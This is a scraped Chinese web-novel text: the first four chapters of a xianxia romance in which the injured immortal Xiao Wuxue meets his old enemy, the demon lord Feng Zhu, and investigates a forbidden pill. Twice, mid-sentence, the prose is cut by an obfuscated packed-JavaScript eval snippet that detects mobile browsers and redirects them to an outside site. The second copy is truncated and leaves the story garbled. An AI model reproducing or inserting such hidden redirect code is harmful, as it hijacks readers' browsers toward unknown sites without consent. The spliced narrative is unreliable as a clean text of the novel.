《宿敌魔尊非要当我道侣》 1. 第 1 章 北疆,极乐城。 “你说什么,萧无雪被废了?!”粗哑的大嗓门在酒肆大堂响起,惊得四下寂静。 “外头都传遍了,还能有错?”答话那人言语间已有醉意,怀里还搂了个眉清目秀的少年,“听说三个多月前,萧无雪在无尽渊遭人埋伏。无尽渊知道吧?聚上古妖神的怨气,纵深万丈,只要进去了,任你有多高的修为都飞不出去——” “别废话,说重点!” “总之,仙盟把人找到的时候,萧无雪已经全身经脉尽断,修为尽丧,就剩一口气吊着。” “更要命的是,萧无雪醒来后记忆全无,连自己叫什么都不记得。” “堂堂正道第一人……”男人手中酒杯轻晃,一笑,“就这么废啦。” 他声音不大,却清晰地传到了在座所有人耳中。 众人面面相觑。 萧无雪是什么人? 当初天下群魔为乱,率领正道镇压魔族,逼得魔族百年不敢踏足中原半步的,正是那凌云仙尊萧无雪。 这个名字的存在,对魔族就是一种威慑。 可偏偏,偏偏在这节骨眼上—— 萧无雪被废了? “这世上……真有人能把凌云仙尊伤成那样?”男人怀中的少年小声发问。 “怎么没有?”男人搂着少年的肩,伸手往窗外遥遥一指。 灯火阑珊外,远处的夜空被染成了玫红色,仿佛一个巨大的漩涡从天幕坠下:“都知道吧,那儿,就是北域魔窟的入口。” “那里头住了位魔尊。” “我知道,是魔尊封烛。” “嘘!”男人连忙去捂他的嘴,“不要命了,那魔头的名字也是你敢唤的?” 少年睁着一双杏眼,眼底尽是懵懂无辜。男人看得心软,怜惜地在对方唇边抚了抚:“这普天之下,能与凌云仙尊一较高下的,恐怕就只有那北域之主了。” “可我听说,封烛打不过萧无雪。” “嗐,那是以前。” 百年前,正魔两军对垒,为平定战事,萧无雪与当时还是魔族少主的封烛约战极乐城。 那一战打了足足小半月,最终,萧无雪一剑重创封烛,才逼得魔族低下头来,向正道求和。 “听说凌云仙尊当初那一剑,几乎废了那魔头毕生修为。这些年,北域魔尊闭关修炼,终于魔功大成。这次,多半就是报那一剑之仇来了。” “那这极乐城还能待下去吗?正魔两道要是再打起来,这里多半要遭殃。” “可不是嘛……” 众人议论纷纷,角落里,有人举起杯盏,轻轻抿了口酒。 清秀稚气的少年抱着酒壶,拘谨地坐在那人身旁。 这极乐城素有不夜天之称,自百年前正魔两道休战和谈,从此地退兵,这里便成了两边都不管的逍遥地。 城中妓馆赌场数不胜数,灯红酒绿,声色犬马,就连这街边随处可见的酒肆,也不缺美人作陪。 可面前这个人…… 少年悄然打量身旁的人。 男人穿了身素雅布衣,月白色底衫以银线勾勒云纹,是寻常的江湖人打扮。他头上戴了顶白纱幂篱,看不清面目,浑身上下裸露在外的,唯有那执起酒盏的手。 那双手真是极美,手指修长瘦削,不似女子或少年般柔弱无骨,饱含着凌厉的力量感。 有这样一双手,模样是不会差到哪儿去的。 可惜,这人从进门到现在,酒是喝了不少,却并不碰他,也不与他说话,活脱脱只将他当做一个倒酒的小厮。 少年还没受过这种委屈。 “公子听见了吗,他们说魔族重伤了凌云仙尊。”少年试图与男人搭话,“您说,正魔两道真会再打起来吗?” 男人动作一顿,反问:“你在担心?” “自然是担心的。”少年道,“谁不知道当今天下能有这太平盛世,全靠凌云仙尊镇守仙盟。如今凌云仙尊重伤,仙盟还能对付得了魔族吗?” “太平盛世……”男人轻声重复。 他转头望向窗外,远处的魔窟入口仿佛一只阴邪的眼睛,静静凝视着这片土地。男人收回目光,摇了摇头:“太平盛世,从来不是靠一个人就能维系的。” 少年诧异地眨眨眼,男人却不再多言,扶着桌沿站起身。 他应当是喝多了,起身时身形微晃,少年伸手想扶他,却被对方轻巧避开。 幂篱因这动作掀开一角,少年只来得及窥见男人瘦削的下颚,以及那略显苍白的嘴唇,便被白纱重新遮挡了视线。 待回过神来,男人已经拿起桌上没喝完的半壶酒,摇摇晃晃朝外走去。 再一转眼,便彻底消失在了人群中。 . 外头正下着大雪。 极乐城这地方,地处北疆,终年严寒,一年到头大半时间都在落雪。 但走在街上,却感觉不到多少寒意。 长街两侧,无论商铺阁楼,檐下烧的都是灵石做燃料的琉璃仙灯。鹅毛大雪尚未落到地面,便被那灵石燃烧的热度消融开来,半分水汽都不剩。 哪怕是在寒冬腊月,城中依旧暖如春日。 萧无雪拿着酒壶穿过长街。 他今日的确喝得不少,甚至没意识到宽阔的街面被自己走成了斜线。在第三次险些撞上街边铺面的招牌后,萧无雪晃了晃脑袋,勉强扶着墙站定。 “……以前酒量有这么差吗?”他小声嘀咕。 空中忽然传来振翅之声,一只巴掌大的灵鸟自远处飞来,停在他面前。灵鸟隔着白纱与萧无雪对视,绿豆大的眼珠漆黑灵动,无辜地眨了眨。 萧无雪:“……” 这个时辰,正是城中妓馆赌场最热闹的时候,街上反倒没多少人。萧无雪身旁是条无人的巷陌,尽头几级石阶连通至河边的长廊,大半被掩盖在黑暗中,在月色下显得冷冷清清。 萧无雪刚走下石阶,身后的灵鸟便化作一道虚影。 “师弟,你这是跑哪儿去了?!” 石破天惊的一声喊,将趴在廊下小憩的野猫吓得弓起了背,转眼窜得没影。萧无雪没听见似的,晃荡着去廊边坐下。 对方念叨起来:“师弟啊,你的伤还没好,怎能这时候离宗?魔族要是知道你孤身离开,定不会善罢甘休!还有这些年被你诛杀的妖魔邪道……” “这位兄台……”萧无雪没骨头似的倚在美人靠上,懒懒散散地伸了个懒腰,“在下已经说过很多遍了,我如今记忆全无,不认得你,你又何必苦苦纠缠?” “我纠缠?你……等等,你喝酒了?你不是修清净道滴酒不沾吗,怎能破戒!你难道不记得——” 对方话没说完,另一道更为冰冷低沉的声音忽然插了进来:“凌云,别胡闹,赶紧回来。” “就是!”前一人接话道,“我和玄冥师兄已将仙盟内外最好的医仙都请来,眼下全在仙宗内等着呢,定能让你恢复修为记忆!你这是在哪儿,师兄派弟子去接——” “啊?喂——兄台在说什么,我听不清——”萧无雪拖长话音,手抬起来穿过二人虚影,准确捉住了那只用来传讯的灵鸟。 不顾对面急切的话音,微笑着将那东西捏得粉碎。 灵鸟化作点点细碎的光亮,从指缝中滑落。 当今仙盟自百年前成立,以玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775851|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冥、逸尘、凌云三尊为首,三尊以师兄弟相称,共同执掌仙盟大权。 三尊治下,四海升平。 如果没有发生三个月前那桩事的话。 “咳咳——!” 萧无雪又饮了口酒,冰凉辛辣的酒水入喉,牵动起体内的旧伤。细密的疼痛瞬间爆发,如针刺般直往骨缝里钻。 他偏过头,闷声咳嗽起来。 低哑的咳嗽声回荡在这河边长廊,待他再抬头时,黑暗中不知何时多出了几个人影。 来者皆是江湖人打扮,各个身形高大,眼底闪动着幽深的妖光:“都说高高在上的凌云仙尊如今已成了废人,我等还以为只是个传言……” “萧无雪,你也有今天!” 萧无雪慢慢拂去唇角咳出的血沫,没有理会。 来人又问:“萧无雪,还记得自己做过什么吗?” “……” 他其实不曾失去记忆,但也没法回答这个问题。 来者是妖非人,这般态度,大抵是来寻仇的。可萧无雪修行至今已有三百余年,在他手下丧命的妖族不计其数,仇家更是遍布天下。 就算没有失忆,他也不可能一一记住。 很多时候,他都希望这些人能主动自报家门,而不是以一句反问作为开场。 因为真想不起来。 好在,很快有人替他解了惑:“你屠我全族百余条性命,这血海深仇今日定要让你以命来偿!” 百余条性命…… 萧无雪偏了偏头,用他那酒后浆糊似的脑子思索一下,还是没想得起来。 “好了,你们急什么。”为首那人喝止了人群,语气竟然非常平和,“人都落到我们手里了,记不记得又有什么紧要?仙尊只要记得,我们是杀了你的人就好。” 他走上前来,额角缓慢爬上几片蛇鳞,开合的唇间吐出蛇信:“不过,不会让你死得太痛快。” “早就听闻凌云仙尊生来一副倾倒众生的好样貌,终归你是要死的,在临死之前,不妨让我等享受一番……如何?” 那话音阴邪而轻浮,男人眼底浮现出笑意,伸手要掀萧无雪头上的幂篱。 可他的手指还没碰到白纱,黑暗中陡然传来一声剑鸣。男人尚未意识到发生了什么,只看见有东西从他眼前飞了出去,扑通一声落进水里。 ——那是他断去的右臂。 鲜血霎时从断臂处涌出来,他惨叫一声,急退两步,被身后的人扶住。 “大哥!!!” “小心,有埋伏!” “萧无雪你做了什么——!” 暴怒之声接连响起,没有人看见,在那一刻,萧无雪眸光微颤,被白纱遮挡的脸上难得露出了一丝错愕。 这气息是—— 黑暗中又是一道剑光闪过,人头滚落,尸身倒地发出沉闷的响。那剑势诡谲凌厉,众人甚至没能看清对手是谁,便已纷纷身首异处。 鲜血顺着地面流淌,如雨幕般滴落进河水里。 萧无雪坐在原地一动不动,拿着酒壶的手搭在栏杆上,带着些不自然地僵硬。 瞬息之间,周遭重新安静下来。 一道人影在他面前缓缓显出真身。 对方身量很高,一身黑袍犹如化不开的浓墨,令人望而生畏。他手上握着一柄与他周身气质极不相符的细长银剑,一串血珠从剑锋滚落下去,在夜色中泛着寒光。 他就这么站在血泊当中,任由宽大的衣袍下摆浸染血色。 接着,他抬起手,用剑锋轻轻挑起幂篱一角。 萧无雪抬眸,对上了那冰冷阴沉的视线。 北域魔尊,封烛。 2. 第 2 章 萧无雪仇家遍布天下,但要说这天底下最想要他命的,当属封烛。 当年极乐城一战,萧无雪一剑毁去封烛灵根,害他险些丧命。后来,是前任魔尊亲手剜出自己的魔骨炼药,帮助封烛重塑灵根。 失去魔骨的老魔尊因此身陨,封烛这才继任成为新的北域魔尊。 萧无雪于他,既有一剑之仇,又有弑父之恨。 河对岸灯火依旧,妓馆中传来的淫词艳曲被掩盖在嘈杂声中。 无人知晓,这一水之隔的河廊下,发生了何等惨烈的杀戮。 更无人知晓,当今正魔两道的统领者,这对普天下尽人皆知的生死仇敌,就在这一方黑暗中静静对视。 良久,萧无雪率先移开了视线。 “这是哪里来的美人,下手怎么如此狠辣?” 他眼底带着醉意,摇摇晃晃举起酒壶:“要与我喝一杯吗?” 酒水随着他的动作晃荡出来,沾湿了被冻得淡粉的指尖。 封烛的视线在他指尖凝了片刻,低声问:“萧无雪,你不认得我了?” 萧无雪神情困惑:“我应当认得你?” 封烛:“既不认得,为何不怕?” 凌云仙尊是正道魁首,死在他手下的妖魔不计其数,在他的世界里,恐怕没有怕这个字。但他若已变成一个记忆全无、修为尽失的普通人,如此被人用剑指着,总该害怕的。 萧无雪却反问:“你要杀我吗?” 对岸传来激烈的争吵声,不知是何处的醉鬼起了冲突。喧嚣之外,模样俊秀的青年斜靠护栏,姿态放松:“这些人是为杀我而来,你出手救了我,说明你不想让我死。如果是这样,我为何要怕你?” “不对,还有一种可能。” 他眼神迷离,如醉如梦:“也许你是想手刃我,不愿我这条性命被旁人夺去,所以才暂且救我一命。” 封烛注视着他,眸光幽深,看不出一丝情绪。 萧无雪微笑与他对视,藏在袖中的另一只手悄然落到腰间。 封烛本不该出现在这里。 魔族战败后,正魔两道曾立下血契,魔族此生不得离开魔窟半步,违者必遭反噬。 封烛如今魔功大成,以他的修为,血契奈何不了他,这不奇怪。 可就算这样,他也不该贸然现身。 凌云仙尊前不久刚受了重伤,修真界正是人心惶惶的时候。这个节骨眼上,北域魔尊在极乐城现身的消息若传出去,仙盟必定会有动作。 那绝不是封烛想看到的。 那么,他为何会出现在这里? 就这么迫不及待想找他报仇吗? 昏暗的河廊下再次陷入沉寂,二人一坐一立,空气中似有某种剑拔弩张的氛围,沉重得叫人喘不过气。 少倾,一道银光闪过,封烛收剑入鞘。 划过身侧的剑风掀起萧无雪头顶的幂篱,飘落进漆黑的河水里。 萧无雪眸光微动,不及再说什么,封烛忽然上前,轻轻握住了他的手。 冷峻的视线落在萧无雪脸上,渐渐换做了一个戏谑的微笑。 封烛:“你好没良心。” 嗯? 扣住他手腕的那只手力道极大,犹如一团烈火落在冰雪般的肌肤上,烫得灼人。萧无雪皱了下眉,酒壶被迫脱手,落地摔得四分五裂。 封烛倾下身来。 二人的距离瞬间被拉得极近,男人眸光含笑,轻佻地撩起他鬓边一缕发丝,话音却仿佛带着委屈:“我是与你有过山盟海誓的道侣,你怎能把我忘了,你好没良心……” 萧无雪:“……” 萧无雪:“???” . 夜色渐深,城中数千盏仙灯高低错落,将整个极乐城映得明亮如昼。 一道身影在楼宇间飞驰而过,掠过屋脊,轻巧落到一处钟楼之上。 昏昏沉沉的酒意被寒风吹散了大半,萧无雪攀住钟楼边缘的护栏站定,勉强压下几乎翻涌到喉头的血气。 几息过后,有人落到了他身后。 “你要跑去哪里?”封烛悠悠问。 “……” “谁说我要跑,不过是喝多了点,上来吹吹风罢了。”萧无雪头也不回,竭力维持语调平稳,“倒是阁下……在下孑然一身,不曾有过什么道侣,阁下一定是认错人了。” 封烛噙着笑:“可你不是失去记忆,什么都不记得了吗?” 他上下打量萧无雪:“还装作修为尽失,这不是跑得很快吗?” 萧无雪:“……” 天地良心,他从未装过什么修为尽失。不过是那群好事者不知从哪里听说了他受伤的消息,还一传十十传百,最终传成了这副德行。 害他从汴京来此的一路上,遇上了不知多少想“趁火打劫”的仇家。 萧无雪懒得解释,封烛似乎也并不在意。 他往前迈了两步,高大的身躯裹着风霜和血腥之气扑面而来。不等对方靠近,萧无雪忽然灵巧一个转身,转眼便窜到了钟楼另一侧。 封烛顺势转过身来,眼底笑意更深,似乎是觉得他这反应颇为有趣。 “……”萧无雪强忍着直接与人动手的冲动,咬牙道,“我身上并无姻缘契的痕迹,自然不可能有道侣,阁下不会连这点事都不知……” “姻缘契?”封烛轻声打断他,像是听到了什么天大的笑话,“你难道忘了自己是什么人?” “你是凌云仙尊萧无雪,是仙盟三尊之一,中原正道第一人。你这样的身份,就算喜欢上什么人,也不会轻易与人结契。” “何况,本座现在已是魔域之主。” 他嘲弄一笑,眼底闪过一丝冷色:“就算你愿意,你身边那群道貌岸然的东西,也不会同意。” “……”竟还有些道理。 “我没有骗你,真的。”封烛道,“你要是不信,我可以给你看证据。” 他自顾自走到萧无雪面前,重新幻化出了他方才御敌时用的那柄长剑。 封烛的惯用武器并不是剑。 魔族不依赖器物修行,他们自身就是武器,双手可化为利爪,背生双翼,顷刻间便能夺人性命。 萧无雪当年被封烛挠过一爪子,知道其中利害。 再者,这柄剑与封烛也并不相称。 银白剑身极轻极细,锻造精巧的剑鞘泛着浅浅流光,不难看出这宝剑在灵力充沛时是何等的绚烂夺目。可惜不知为何,这柄剑的光芒已经变得十分黯淡,力量几近枯竭,随时都有崩毁的可能。 这东西属实不像个大魔头该用的武器,反倒像是哪家仙门修士的佩剑。 封烛将长剑递到萧无雪面前,引着他的手去摸剑柄。 萧无雪瞬间反应过来封烛要给他看什么。 那剑柄下方与剑鞘的衔接处,利落地刻着一个“封”字。 那是萧无雪自己的字迹。 萧无雪:“……” “认出来了?”封烛的视线落在萧无雪脸上,没有错过他任何一丝反应,“这是你亲手刻上去的,一个人就算失忆,也 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封烛指尖动了动,像是想跟上前去,又生生顿住脚步。半晌,他缓缓移开视线,讽刺道:“修行百年,你就这点长进,一个小小的无尽渊便让你伤成这样?” 萧无雪反唇相讥:“比不上尊主魔功大成。” 封烛:“……” 方才还巧舌如簧的男人破天荒没有接话,萧无雪诧异地瞥他一眼,没再说什么。 钟楼之上,一时只余风声猎猎。 萧无雪兀自运气调息,片刻后,才重新抬起头来。 他脸上最后那点血色也褪去了,衣袍发丝随风翻飞,衬得身形瘦削,竟有几分弱不禁风的意味。 但他脊背依旧挺得笔直,苍白的薄唇紧抿成线。 封烛无声地舒了口气,态度终于缓和了些:“伤成这样,还到处乱跑什么?” 他朝萧无雪伸出手:“乖乖过来,本座不想与你动手。” 萧无雪一动不动。 他就这么遥遥注视着封烛,忽而偏了偏头,朝对方微微一笑。 凌云仙尊萧无雪,除了高深莫测的修为之外,最为人称道的,其实是他那张冠绝天下的容颜。无论用多么挑剔的眼光来看,他都有着一副极其漂亮的长相,俊秀的眉眼如水墨勾勒般浓郁清晰,挑不出一丝差错。 尤其当他微笑起来,原本清冷疏离的气质不复存在,美得叫人心惊。 封烛不由一怔,随即意识到不对。 与此人多次交手的经验敏锐地察觉到了什么,他腾身而起,高大的身影裹着寒风朝萧无雪扑来—— 就在此时,一道禁锢法阵在他原本站立的地面倏然展开,无数锁链从地面窜出,如蛇一般蜂拥而至,紧紧缠住封烛的四肢。 什么时候?! 变故来得太快,封烛只来得及触到对方被风扬起的一片衣摆,便被那锁链生生拖回了阵法当中。 萧无雪:“呵。” 他冷笑着步步后退,很快退至钟楼边缘。 “阁下见谅,在下如今记忆全无,只想寻欢作乐、逍遥人间,没兴趣去偿还什么人情债。” “这禁锢法阵两个时辰后会自动解开,你就在这里吹着冷风,自己清醒清醒吧。” “萧无雪!” 在封烛气急败坏的怒吼中,萧无雪纵身一跃,另一道传送法阵在身下展开,瞬间将他的身影吞入虚空之中。 3. 第 3 章 片刻后,萧无雪在一片树林现了身。 此处已是极乐城外,天边的魔窟入口看着比城中更近了些,月色下,漫无边际的松林伫立在茫茫大雪中,寒风刺骨。 萧无雪低头咳嗽两声,想到方才的事还是觉得头疼。 他猜得到封烛想做什么。 萧无雪与封烛相识已有百余年,两人分属正魔两道,就算曾经有过那么点交情,在那场代价惨重的生死决斗之后,也不剩什么旧情。 山盟海誓?一往情深? 哪有这回事。 分明就是故意来试探他的。 凌云仙尊在修真界地位特殊,他此番出事,不仅正道人心惶惶,对魔族那边同样算不上什么好消息。 这百年间,正魔两道因血契盟约没再起过冲突,但中原正道对魔族的厌恶与仇恨从未消减。就连仙盟内部,也有许多人至今不满萧无雪当初休战的决定,做梦都想打进魔窟,将魔族赶尽杀绝。 萧无雪如今出了事,若仙盟以此为借口打破盟约,被困北域魔窟上百年的魔族处境会十分不妙。 也难怪封烛会特地来试探他。 不过……用的伎俩实在太可笑了。 “……净会给人添麻烦。”萧无雪低啐一声,抬步向前走去。一边走,一边从怀中取出一块银丝面具戴上。 不多时,树林前方显出一个泛着白光的秘境入口。 极乐城贸易发达,其中又以万海集市最为出名。 万海集市开在城外一处小洞天内,每三月开市一回,每回开市三日,每次开市都能引来许多修士兜售灵丹妙药,符咒秘籍,以及各类不能在修真界公开流通的违禁物品。 这才是萧无雪此行的真正目的。 小洞天外,已经站了几名年轻男子。 那几人衣着华贵,身上都带着酒气,应当是正准备进入万海集市。萧无雪目不斜视,径直走向秘境入口,却忽然被人伸手一拦。 “美人,你也要去万海集市?” 这几乎是明知故问,萧无雪抬起头,对上了男子满含醉意的视线。 身旁的人听言纷纷笑起来:“褚兄,你看错了吧?” “这人戴着面具,怕不是奇丑无比,见不得人,怎么能称美人?” “切,你们懂什么。”男子斥骂一句,视线在萧无雪修长白净的脖颈与腰身间来回一扫,“本少爷阅人无数,这肯定是个美人!” 他伸手朝萧无雪的面具探来:“别躲,让本少爷看看……” 林中光线昏暗,唯有前方的秘境入口泛着苍白的光芒。 没人看清萧无雪是怎么出手的,他偏头避开朝自己伸来的手,右手顺势搭上对方肩膀,反手一拧,整条手臂从肩膀处生生脱了臼。 男子的痛呼霎时响彻树林。 “再管不住就砍了。”萧无雪冷冷说了这么一句,没再看任何人,径直进了秘境。 . 小洞天内的景象,与寻常人间集市并无不同。 繁星密布的夜空下,一条长街贯穿其中,仙灯与红绸交相辉映,摊贩的叫卖声此起彼伏。萧无雪随人潮踏入街市,很快停在了一间商铺前。 那商铺门头很高,门外立着两座气派的石狮,宽阔的铺面摆着琳琅满目的瓶瓶罐罐和各类灵材。 是间丹药坊。 今日是万海集市开市的第一天,也是人最多的一天。丹药坊里人满为患,无人注意到萧无雪这个遮掩面容的新客人。 萧无雪走到柜台前,敲了敲台面:“买药。” 柜台后,一名伙计抬起头来。 “客官要买点什么?” 萧无雪道:“噬魂丹。” 他话音很轻,在这嘈杂的环境中本该没有多少人听见。可此话一出,周遭气氛却微妙地一滞。 伙计的神情也有短暂迟滞,随后才微笑起来:“客官,谁不知道噬魂丹乃仙盟禁药,小店哪能——” 萧无雪将一个装满灵石的荷包扔到柜台上。 “——哪能没有!”伙计顿时改了口,殷勤道,“您稍等,小的这就去将掌柜的请来!” 萧无雪点点头,伙计起身去了里间。 噬魂丹,是数十年前曾在修真界流传过的一种邪药。 正魔大战结束后,战事留下的魔族尸骨曾被仙盟统一回收销毁。但许是仙盟初建,监管不利,部分魔族尸骨流落人间,被人炼成了这所谓的噬魂丹。 服用噬魂丹能令人短暂提升修为,提升幅度各不相同。据仙盟卷宗记载,曾有一位金丹期修士,在服药后修为瞬间提升百倍,杀害了一名处于化神中期的仇家。 当初,为了遏制此药在修真界流通,仙盟付出了极大代价。 时至今日,虽然部分黑市仍有噬魂丹出现,但几乎已是千金难求。而随着中原大地上的魔族尸骨被尽数销毁,噬魂丹彻底绝迹不过是时间问题。 不过…… 萧无雪轻轻舒了口气,睁开眼,有人拉了拉他的衣摆。 那是个三四岁的小女孩,许是有半妖血统,生着一双狐耳,模样十分漂亮。她仰头望着萧无雪,清透的眼中带着孩童特有的天真:“哥哥,你也是来买药的吗?” 萧无雪垂眸看她,女孩指向远处一名正与伙计讨价还价的女子,像是有点不开心:“我娘说买完药就带我去买糖的,但她好慢哦……” 萧无雪不善与人打交道,更不会哄孩子,一时竟不知该如何回应。就在此时,一只手从旁侧伸出,将一颗油纸包裹的饴糖递了过来。 女孩惊喜地睁大眼睛,男人轻声道:“去吧。” 女孩开开心心跑开,身形高大的男人直起身来,偏头看向萧无雪:“干嘛这副表情,就这么不想见到我?” 萧无雪:“……” 若说萧无雪此生有什么不想见到的人,眼前这位当属第一。 封烛已脱下他那身繁复累赘的魔族装束,换做一件玄色锦衣。暗红滚边的腰封勾勒出宽肩窄腰,从头到脚发带配饰一应俱全,腰间甚至挂着一块缀着鲜红流苏的龙纹玉佩。 活像只花枝招展的黑孔雀。 萧无雪闭了闭眼,不是很想理他。 “生气了?”封烛探过头来,“你始乱终弃不认我这个道侣,又用禁锢法阵暗算于我,我都没生气,你生哪门子气?” 他又变戏法似的拿出几颗饴糖:“吃颗糖,别气了,特意给你买的。” 萧无雪没有理会,冷声问:“你在我身上放了什么?” 封烛:“嗯?” “你我分开后我便隐藏了气息,这小洞天内无法使用追踪法术,你如何能找到我?”萧无雪问,“你做了什么?” 封烛轻轻“啊”了声,像是想到了什么极有趣的事,故意拖长音调:“你很想知道?” 萧无雪:“……” 封烛手肘撑在柜台上,没骨头似的倚着,笑得别有深意:“那也不难,你先告诉我你来这里做什么,我便回答你……哎,你去哪儿?” 萧无雪绕过柜台,掀开通往里间的珠帘。 随后回过头,朝封烛悠悠一笑:“不是问我想做什么,随我来就是。” 他半张脸掩盖在面具之下,唇角那淡淡的笑容也几乎转瞬即逝,可封烛仍是一愣。待回过神来,萧无雪的身影已经消失在珠帘后方。 封烛呆站原地,良久,才悻悻叹气:“真没出息……” . 这丹药坊规模不小,后方连通着一个宽敞的庭院。萧无雪穿过门廊,脚步却是一顿。 庭院内,横七竖八的尸体躺了满地,浓郁的血腥气弥漫在空气中。方才与萧无雪说过话的那名伙计,如今仰面躺在廊下,双目圆睁,脖颈间尽是他大口吐出的鲜血。 他的身旁是另一名身形宽胖的中年男子,多半就是这丹药坊的掌柜。 二人一前一后倒在地上,死相近乎一致,仿佛是进门的前一刻忽然遭了毒手。 ——怎么可能? 他和封烛方才就在门外,他们分明没有感觉到任何异动! 萧无雪眉梢压低,在尸身旁蹲下,伸手探向那血迹斑斑的脖颈。 熟悉的气息紧随而至,也诧异地“嗯?”了一声。 两具尸身皆无明显外伤,但的确是断了气。半晌,萧无雪收回手,轻声问:“知道噬魂丹吗?” 封烛若无其事:“没听过,那是什么,一种仙药吗?” 萧无雪抬眼看他。 “好吧好吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封烛静静跟着,一言不发。 待他检查完最后一具尸身,站起身来,忽然被封烛攥住了手腕。 萧无雪身量其实不低,但魔族傲然的身高足足比他高了小半个头。封烛轻而易举将人扣进怀里,脸上带着惯常的戏谑笑意:“所以,你根本就没有失忆……演得倒挺像。” 萧无雪毫不意外:“就因为我知道遇袭的细节?” 封烛眉梢微挑,脸上明明白白写着三个字:“不然呢?” 萧无雪用力从对方怀里挣脱出来,整了整衣衫,平静道:“我在仙宗醒来后,立即被人告知了身份及事情的前因后果,结合仙盟内的卷宗,还原我的过往并不困难。至于遇袭的细节,尊主难道不知道,本命剑可以将最后一次出剑的场景再现出来?” 封烛:“?” “我在本命剑内看见了无尽渊遇袭的始末,又查阅了许多卷宗,推测此事或与噬魂丹有关,于是独自离开仙宗调查。”萧无雪道,“就这么简单。” 封烛冷笑:“所以,记忆全失的你,仅凭这些就决定继续为仙盟卖命?” “谁说我在为仙盟卖命?” 萧无雪恰到好处地做出一副诧异的表情,但还是耐心解释:“我记忆全无,无意留在仙盟,更不想再插手修真界之事。可无尽渊那次埋伏让我险些丧命,我没能将凶手除去,对方不会善罢甘休。” “如今暗中调查,只不过是为未来的逍遥人间,提前排除隐患罢了。” 封烛:“……” 萧无雪:“还有问题吗?” 封烛张了张口,竟被他说得有些哑口无言。 “没有的话,该干活了。”萧无雪拍了拍封烛的肩膀,轻巧往后一跃,在不远处的墙角落地。 与此同时,庭院内扬起一阵不详的阴风。 阴风过处,衣物摩挲声窸窸窣窣,原本躺在庭院内的十多具尸身竟接连动了起来。 面色灰白的尸身一个个站起来,呆滞的神情准确捕捉到了离他们最近的活人,骤然朝封烛扑了过去! 4. 第 4 章 从踏入庭院那一刻,萧无雪便察觉到这院子里被人布下了一道邪阵。 封魂起尸阵,能将阵法内的死者炼成活尸,怨气越深重,活尸的力量便越强。 堂堂北域魔尊,对付几个活尸自然不在话下。萧无雪静立在旁等候,忽然听见身后一扇门扉里传来响动。 他扭头看去,一股浓郁的血腥之气裹挟着杀意,恰在此时袭来。 锵——! 封烛手持长剑,稳稳架住了朝他扑来的一具活尸。 “你真不出手?”封烛冷冷看他,眉宇间因杀戮而蒙上了一丝戾气,“真当本座是来给你做护卫的?” 先前称封烛美人是萧无雪故意恶心他,事实上,封烛的模样与秀美沾不上边。 他是极其英俊冷硬,甚至带着点攻击性的样貌。微笑时,那份攻击性被温柔的双眼隐藏得很好,可当他沉下脸来,魔族特有的阴戾邪气便再也掩盖不住。 仿佛剥开层层伪装,露出了往日难以窥见的阴暗本相。 萧无雪与他对视片刻,将视线从他脸上移开:“不是道侣吗,给我做护卫委屈你了?你对我到底是不是真心?” 封烛:“……” 说话的功夫,更多活尸朝二人扑来。 原本普通的血肉之躯,在阵法强化之下竟仿佛拥有钢筋铁骨一般,与利刃相击时不断传来锐响。 萧无雪没再理会,转身上前两步,用力推开了门。 一名伙计打扮的少年蜷缩在门后,浑身都在止不住颤抖。 “——不要!”少年抱头惊呼,“我什么都不知道,别杀我,别杀我!” 萧无雪微微蹙眉。 庭院内,最后一名活尸被封烛挥剑斩下头颅,颓然倒地。 萧无雪在少年面前蹲下身:“冷静一点。” 他嗓音轻而冷冽,带着一股温和沉静的力量。少年渐渐停止了颤抖,抬起头来:“我……我……” “你看到了什么?”萧无雪问。 “死了……他们都死了……”少年眼神空洞,恍惚间仿佛看到了什么极其可怕的景象,惊恐大喊,“他们刚刚还好好的,忽然就吐血死了!阿丁,王叔,他们刚才明明还在和我说话,我……我也会死吗?我不想死,我爹娘还在家里等我,我不想死!” 少年胸膛剧烈起伏,萧无雪用力按住他的肩膀,强迫他镇定下来。 “告诉我,这里发生过什么?”萧无雪问,“你都看到了什么?” 少年:“我……我不知……” “你知道。”萧无雪轻声打断,眸光沉静而笃定,“你肯定知道,好好想一想,你不想替……替他们报仇吗?” 他古怪地停顿一下,但少年并未察觉。 “报仇……报仇……”少年冷汗淋淋,大口喘息着。 不知过去多久,他终于颤抖着开口:“之前,有人来过铺子……” 萧无雪:“什么人?” 少年:“黑衣……鬼面……听声音是个男人……” 萧无雪:“他做了什么?” “他来见掌柜的,我把他领到院子里,他说要买药……他要买……”少年喃喃般的话音戛然而止,忽然用力抱住了头,“我不知道,我真的不知道!我真的什么都不记得了!!” 萧无雪无言,正欲起身,却被少年抓住了衣袖:“……我也会死吗?” “……” 少年仰面望向他,苍白的脸上满是惊恐,从萧无雪悲悯的目光中渐渐意识到了什么:“我不想死,我真的不想死!求你救救我,要我做什么都可以,只要你能救我……你不是来救我的吗,为什么不救我,你为什么不救我——!!” 泣不成声的哀求到最后竟变作凄厉的怨恨与指责,萧无雪闭了闭眼,轻轻将衣袖从对方手里扯了出来。 “生死有命,枯荣有数,抱歉。”他轻声道,“我会为你超度。” 仿佛冥冥中触碰了某个禁忌,少年神情一滞,口中忽然吐出鲜血。大量涌出的鲜血喷溅在萧无雪衣摆上,少年的瞳孔飞快涣散,就这么注视着萧无雪,慢慢仰面倒地断了气。 与外面那些死者的死状一模一样。 萧无雪转过身,一道净衣术落到他身上。 沾染血污的衣摆瞬间焕然一新,封烛倚在门边,若无其事收回了手:“幻术?” 萧无雪瞥他一眼,继续往外走:“应当是一种造梦之术。” 